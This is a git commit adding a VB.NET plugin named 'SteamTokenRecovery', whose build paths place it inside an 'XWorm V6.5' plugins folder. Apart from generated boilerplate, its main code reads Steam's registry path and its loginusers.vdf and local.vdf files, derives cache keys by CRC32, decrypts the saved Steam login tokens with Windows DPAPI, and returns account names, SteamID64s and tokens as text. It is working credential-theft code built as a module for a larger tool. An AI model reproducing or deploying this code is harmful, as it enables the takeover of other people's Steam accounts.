initial commit
This commit is contained in:
@@ -0,0 +1 @@
|
||||
{"RootPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\Plugins\\SteamTokenRecovery","ProjectFileName":"SteamTokenRecovery.vbproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"Plugin.vb"},{"SourceFile":"SteamTokenDecryptor.vb"},{"SourceFile":"My Project\\AssemblyInfo.vb"},{"SourceFile":"My Project\\Application.Designer.vb"},{"SourceFile":"My Project\\Resources.Designer.vb"},{"SourceFile":"My Project\\Settings.Designer.vb"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.7.2.AssemblyAttributes.vb"}],"References":[{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Net.Http.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.7.2\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm\\bin\\Debug\\Plugins\\SteamTokenRecovery.dll","OutputItemRelativePath":"SteamTokenRecovery.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}
|
||||
@@ -0,0 +1,13 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>false</MySubMain>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<ApplicationType>1</ApplicationType>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,32 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("SteamTokenRecovery")>
|
||||
<Assembly: AssemblyDescription("")>
|
||||
<Assembly: AssemblyCompany("")>
|
||||
<Assembly: AssemblyProduct("SteamTokenRecovery")>
|
||||
<Assembly: AssemblyCopyright("Copyright © 2025")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("e5c5ab95-caf9-4735-b8a3-5001984d1472")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
@@ -0,0 +1,62 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("SteamTokenRecovery.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set(ByVal value As Global.System.Globalization.CultureInfo)
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,117 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.SteamTokenRecovery.My.MySettings
|
||||
Get
|
||||
Return Global.SteamTokenRecovery.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,30 @@
|
||||
Namespace SteamTokenRecovery
|
||||
Public Class Plugin
|
||||
Public Shared Function RunRecovery(Method As Integer) As String
|
||||
Try
|
||||
Select Case Method
|
||||
Case 10
|
||||
Dim decryptedSteamTokens As Dictionary(Of String, String) = SteamTokenDecryptor.GetDecryptedSteamTokens()
|
||||
If decryptedSteamTokens Is Nothing OrElse decryptedSteamTokens.Count = 0 Then
|
||||
Return Nothing
|
||||
End If
|
||||
|
||||
Dim result As New Text.StringBuilder()
|
||||
result.AppendLine("Steam tokens found:")
|
||||
|
||||
For Each kvp As KeyValuePair(Of String, String) In decryptedSteamTokens
|
||||
result.AppendLine("SteamID64: " & kvp.Key)
|
||||
result.AppendLine("Token: " & kvp.Value)
|
||||
result.AppendLine(New String("-"c, 40))
|
||||
Next
|
||||
|
||||
Return result.ToString()
|
||||
End Select
|
||||
Catch
|
||||
Return Nothing
|
||||
End Try
|
||||
|
||||
Return Nothing
|
||||
End Function
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,256 @@
|
||||
Imports System
|
||||
Imports System.Collections.Generic
|
||||
Imports System.IO
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Text
|
||||
Imports Microsoft.Win32
|
||||
|
||||
Namespace SteamTokenRecovery
|
||||
Public Class SteamTokenDecryptor
|
||||
|
||||
<DllImport("crypt32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
|
||||
Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB,
|
||||
<MarshalAs(UnmanagedType.LPWStr)> szDataDescr As String,
|
||||
ByRef pOptionalEntropy As DATA_BLOB,
|
||||
pvReserved As IntPtr,
|
||||
pPromptStruct As IntPtr,
|
||||
dwFlags As Integer,
|
||||
ByRef pDataOut As DATA_BLOB) As Boolean
|
||||
End Function
|
||||
|
||||
Private Shared Function CalculateCrc32(data As Byte()) As UInteger
|
||||
Dim crc As UInteger = UInteger.MaxValue
|
||||
For Each b As Byte In data
|
||||
crc = crc Xor CUInt(b)
|
||||
For i As Integer = 0 To 7
|
||||
If (crc And 1UI) = 1UI Then
|
||||
crc = (crc >> 1) Xor 3988292384UI
|
||||
Else
|
||||
crc >>= 1
|
||||
End If
|
||||
Next
|
||||
Next
|
||||
Return Not crc
|
||||
End Function
|
||||
|
||||
Private Shared Function GetConnectCacheKey(accountName As String) As String
|
||||
Dim bytes As Byte() = Encoding.UTF8.GetBytes(accountName)
|
||||
Dim crc As UInteger = CalculateCrc32(bytes)
|
||||
Return String.Format("{0:x}1", crc)
|
||||
End Function
|
||||
|
||||
Private Shared Function HexToBytes(hex As String) As Byte()
|
||||
Dim result((hex.Length \ 2) - 1) As Byte
|
||||
For i As Integer = 0 To hex.Length - 1 Step 2
|
||||
result(i \ 2) = Convert.ToByte(hex.Substring(i, 2), 16)
|
||||
Next
|
||||
Return result
|
||||
End Function
|
||||
|
||||
Public Shared Function DecryptSteamToken(token As String, accountName As String) As String
|
||||
Dim encryptedBytes As Byte() = HexToBytes(token)
|
||||
Dim dataIn, dataOut, optionalEntropy As DATA_BLOB
|
||||
Dim ptrData As IntPtr = IntPtr.Zero
|
||||
Dim ptrEntropy As IntPtr = IntPtr.Zero
|
||||
Dim result As String = String.Empty
|
||||
|
||||
Try
|
||||
ptrData = Marshal.AllocHGlobal(encryptedBytes.Length)
|
||||
Marshal.Copy(encryptedBytes, 0, ptrData, encryptedBytes.Length)
|
||||
dataIn.pbData = ptrData
|
||||
dataIn.cbData = encryptedBytes.Length
|
||||
|
||||
Dim entropyBytes As Byte() = Encoding.UTF8.GetBytes(accountName)
|
||||
ptrEntropy = Marshal.AllocHGlobal(entropyBytes.Length)
|
||||
Marshal.Copy(entropyBytes, 0, ptrEntropy, entropyBytes.Length)
|
||||
optionalEntropy.pbData = ptrEntropy
|
||||
optionalEntropy.cbData = entropyBytes.Length
|
||||
|
||||
If Not CryptUnprotectData(dataIn, Nothing, optionalEntropy, IntPtr.Zero, IntPtr.Zero, 0, dataOut) Then
|
||||
Throw New Exception("Decryption failed.")
|
||||
End If
|
||||
|
||||
Dim decrypted(dataOut.cbData - 1) As Byte
|
||||
Marshal.Copy(dataOut.pbData, decrypted, 0, dataOut.cbData)
|
||||
result = Encoding.UTF8.GetString(decrypted)
|
||||
Finally
|
||||
If ptrData <> IntPtr.Zero Then Marshal.FreeHGlobal(ptrData)
|
||||
If dataOut.pbData <> IntPtr.Zero Then Marshal.FreeHGlobal(dataOut.pbData)
|
||||
If ptrEntropy <> IntPtr.Zero Then Marshal.FreeHGlobal(ptrEntropy)
|
||||
End Try
|
||||
|
||||
Return result
|
||||
End Function
|
||||
|
||||
Public Shared Function GetDecryptedSteamTokens() As Dictionary(Of String, String)
|
||||
Dim result As New Dictionary(Of String, String)
|
||||
|
||||
Using key As RegistryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Valve\Steam")
|
||||
If key Is Nothing Then Throw New Exception("Steam registry key not found.")
|
||||
|
||||
Dim steamPath As String = TryCast(key.GetValue("SteamPath"), String)
|
||||
If String.IsNullOrEmpty(steamPath) Then Throw New Exception("SteamPath not found.")
|
||||
|
||||
Dim loginUsersPath As String = Path.Combine(steamPath, "config", "loginusers.vdf")
|
||||
If Not File.Exists(loginUsersPath) Then Throw New Exception("loginusers.vdf not found.")
|
||||
|
||||
Dim localVdfPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Steam", "local.vdf")
|
||||
If Not File.Exists(localVdfPath) Then Throw New Exception("local.vdf not found.")
|
||||
|
||||
Dim loginUsersContent As String = File.ReadAllText(loginUsersPath, Encoding.UTF8)
|
||||
Dim localVdfContent As String = File.ReadAllText(localVdfPath, Encoding.UTF8)
|
||||
|
||||
Dim loginUsersDoc As New VdfDocument(loginUsersContent)
|
||||
Dim localVdfDoc As New VdfDocument(localVdfContent)
|
||||
|
||||
Dim connectCache = localVdfDoc.GetDictionary("MachineUserConfigStore/Software/Valve/Steam/ConnectCache")
|
||||
If connectCache Is Nothing Then
|
||||
connectCache = localVdfDoc.GetDictionary("MachineUserConfigStore/Software/valve/Steam/ConnectCache")
|
||||
End If
|
||||
If connectCache Is Nothing Then Throw New Exception("ConnectCache not found.")
|
||||
|
||||
Dim users = loginUsersDoc.GetDictionary("users")
|
||||
If users Is Nothing Then Throw New Exception("No users found in loginusers.vdf.")
|
||||
|
||||
For Each userEntry In users
|
||||
Dim userDict = TryCast(userEntry.Value, Dictionary(Of String, Object))
|
||||
If userDict IsNot Nothing AndAlso userDict.ContainsKey("AccountName") Then
|
||||
Dim accountName = TryCast(userDict("AccountName"), String)
|
||||
If Not String.IsNullOrEmpty(accountName) Then
|
||||
Dim cacheKey = GetConnectCacheKey(accountName)
|
||||
If connectCache.ContainsKey(cacheKey) Then
|
||||
Dim token = TryCast(connectCache(cacheKey), String)
|
||||
If Not String.IsNullOrEmpty(token) Then
|
||||
Dim decryptedToken = DecryptSteamToken(token, accountName)
|
||||
result.Add(userEntry.Key, $"{accountName}.{decryptedToken}")
|
||||
End If
|
||||
End If
|
||||
End If
|
||||
End If
|
||||
Next
|
||||
End Using
|
||||
|
||||
Return result
|
||||
End Function
|
||||
|
||||
Private Structure DATA_BLOB
|
||||
Public cbData As Integer
|
||||
Public pbData As IntPtr
|
||||
End Structure
|
||||
|
||||
Public Class VdfDocument
|
||||
Private _data As Dictionary(Of String, Object)
|
||||
|
||||
Public Sub New(vdfContent As String)
|
||||
Dim parser As New VdfParser(vdfContent)
|
||||
_data = parser.Parse()
|
||||
End Sub
|
||||
|
||||
Public Function GetDictionary(path As String) As Dictionary(Of String, Object)
|
||||
Dim parts = path.Split("/"c)
|
||||
Dim current = _data
|
||||
|
||||
For Each part In parts
|
||||
If current Is Nothing OrElse Not current.ContainsKey(part) Then
|
||||
Return Nothing
|
||||
End If
|
||||
current = TryCast(current(part), Dictionary(Of String, Object))
|
||||
Next
|
||||
|
||||
Return current
|
||||
End Function
|
||||
End Class
|
||||
|
||||
Public Class VdfParser
|
||||
Private _content As String
|
||||
Private _position As Integer
|
||||
|
||||
Public Sub New(content As String)
|
||||
_content = content
|
||||
_position = 0
|
||||
End Sub
|
||||
|
||||
Public Function Parse() As Dictionary(Of String, Object)
|
||||
SkipWhitespace()
|
||||
If PeekChar() <> "{"c AndAlso PeekChar() <> """"c Then
|
||||
Throw New FormatException("Invalid VDF format - expected '{' or '""'.")
|
||||
End If
|
||||
|
||||
If PeekChar() = "{"c Then
|
||||
Return ParseObject()
|
||||
Else
|
||||
Dim result As New Dictionary(Of String, Object)
|
||||
While _position < _content.Length AndAlso PeekChar() <> ChrW(0)
|
||||
SkipWhitespace()
|
||||
If PeekChar() = ChrW(0) Then Exit While
|
||||
Dim key = ParseString()
|
||||
SkipWhitespace()
|
||||
If PeekChar() = "{"c Then
|
||||
result(key) = ParseObject()
|
||||
Else
|
||||
result(key) = ParseString()
|
||||
End If
|
||||
End While
|
||||
Return result
|
||||
End If
|
||||
End Function
|
||||
|
||||
Private Function ParseObject() As Dictionary(Of String, Object)
|
||||
Dim dict As New Dictionary(Of String, Object)
|
||||
ExpectChar("{"c)
|
||||
SkipWhitespace()
|
||||
While PeekChar() <> "}"c
|
||||
If PeekChar() = ChrW(0) Then Throw New FormatException("Unexpected end of VDF content.")
|
||||
Dim key = ParseString()
|
||||
SkipWhitespace()
|
||||
If PeekChar() = "{"c Then
|
||||
dict(key) = ParseObject()
|
||||
Else
|
||||
dict(key) = ParseString()
|
||||
End If
|
||||
SkipWhitespace()
|
||||
End While
|
||||
ExpectChar("}"c)
|
||||
Return dict
|
||||
End Function
|
||||
|
||||
Private Function ParseString() As String
|
||||
If PeekChar() <> """"c Then Throw New FormatException("Expected '""' at start of string.")
|
||||
_position += 1
|
||||
Dim sb As New StringBuilder
|
||||
While PeekChar() <> """"c AndAlso PeekChar() <> ChrW(0)
|
||||
Dim c = ReadChar()
|
||||
If c = "\"c AndAlso PeekChar() <> ChrW(0) Then
|
||||
c = ReadChar()
|
||||
End If
|
||||
sb.Append(c)
|
||||
End While
|
||||
If PeekChar() <> """"c Then Throw New FormatException("Unterminated string.")
|
||||
_position += 1
|
||||
Return sb.ToString()
|
||||
End Function
|
||||
|
||||
Private Function PeekChar() As Char
|
||||
If _position >= _content.Length Then Return ChrW(0)
|
||||
Return _content(_position)
|
||||
End Function
|
||||
|
||||
Private Function ReadChar() As Char
|
||||
If _position >= _content.Length Then Return ChrW(0)
|
||||
Dim c = _content(_position)
|
||||
_position += 1
|
||||
Return c
|
||||
End Function
|
||||
|
||||
Private Sub ExpectChar(c As Char)
|
||||
If ReadChar() <> c Then Throw New FormatException($"Expected '{c}'")
|
||||
End Sub
|
||||
|
||||
Private Sub SkipWhitespace()
|
||||
While _position < _content.Length AndAlso Char.IsWhiteSpace(_content(_position))
|
||||
_position += 1
|
||||
End While
|
||||
End Sub
|
||||
End Class
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,105 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{F627EA44-458C-409D-A7AB-CCA2787FF255}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<RootNamespace>SteamTokenRecovery</RootNamespace>
|
||||
<AssemblyName>SteamTokenRecovery</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>Windows</MyType>
|
||||
<TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
|
||||
<Deterministic>true</Deterministic>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>..\..\..\XWorm\bin\Debug\Plugins\</OutputPath>
|
||||
<DocumentationFile>SteamTokenRecovery.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>..\..\..\XWorm\bin\Debug\Plugins\</OutputPath>
|
||||
<DocumentationFile>SteamTokenRecovery.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
